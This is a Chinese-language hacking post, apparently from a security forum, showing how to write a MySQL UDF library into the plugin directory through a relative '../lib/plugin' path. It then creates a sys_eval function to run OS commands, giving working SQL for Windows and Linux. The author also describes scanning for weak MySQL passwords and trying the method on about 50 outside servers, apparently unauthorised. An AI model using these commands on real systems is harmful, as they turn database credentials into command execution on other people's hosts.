最近在测试的时候找了这个东西一段时间,熬夜几晚之后终于有了点成果,so发出来大家交流下。 我本地的环境是windows 7 + mysql5.5.40 常规的方法就是先进入到mysql数据库再创建表然后把UDF的内容转换成16进制写入到表中
接着把表的内容导出到插件目录,插件目录的查询语句 show variables like "%plugin%";然而作为一个坑爹屌丝工具帝来说....这方式貌似太麻烦
所以我们换一种姿势
--直接导出UDF到插件目录 省去查询目录和写入表的步骤-- 那么问题来了...不查询插件目录的路径怎么知道路径是多少=。=
我当时也纠结了,后来想到Linux里面和windows有个神奇的符号“..” <好吧是两个符号>
在Linux中查询上级目录的时候是这样的 没错就是这个.. ls ../ 意思就是查询上级目录的内容
那么windows呢=。= 他是这样的
我当时就是这么想的,根据不想当CEO的厨师不是好的司机的原理 MySql能不能也这样子玩
测试时候是这样的
我们不查询目录 我们直接导出udf到../lib/plugin这个路径里
没错=。=导出成功了
那么路径会不会有问题咧.....创建function试试
如图所示 函数创建成功命令也执行成功了=。=windows通过
以下是用过的语句 select unhex('UDF转换为16进制的内容') into dumpfile '..\\lib\\plugin\\wooyun.dll';create function sys_eval returns string soname "wooyun.dll";select sys_eval('whoami');与之前的导入到表再导出相比 精简了貌似有三行语句的样子=。= 那么windows是没问题了,然而Linux呢?
为了防止有人说我作弊=。=那么就不在虚拟机里弄了..<其实是拔了根内存条给小伙伴之后虚拟机跑不动了>
咱就去扫了扫mysql的弱口令
然而最后终于找到了测试对象
在Linux中mysql的插件目录默认是没有写入权限的,然而总会有例外..比如说遇到二逼管理员的时候 这个过程是大同小异 咱就不重复了 直接上
各位看官就看结果吧 在这里我们把路径修改为 ../lib/plugin唔,没错 至于为什么.....因为我突然间发现这玩意往上一个目录后就会神奇的出现一个lib目录..里面刚好有个plugin目录....当然只是部分..有一些是不行的 还是要老老实实找到插件目录然后往里面写入<然而我测试了50台都是可以的> 那么以下继续贴语句 select unhex('UDF转换为16进制的内容') into dumpfile '../lib/plugin/wooyun.so';create function sys_eval returns string soname "wooyun.so";select sys_eval('whoami');整个测试间遇到过的问题
1:插件和系统不兼容..
2:windows用到了Linux的插件...
3:目录不可写..
4:之前有人创建过sys_eval导致我创建的时候出错<删掉就行了> 至于udf的获取方式....sqlmap中有 自行查找 =。=多谢阅读 欢迎指正
|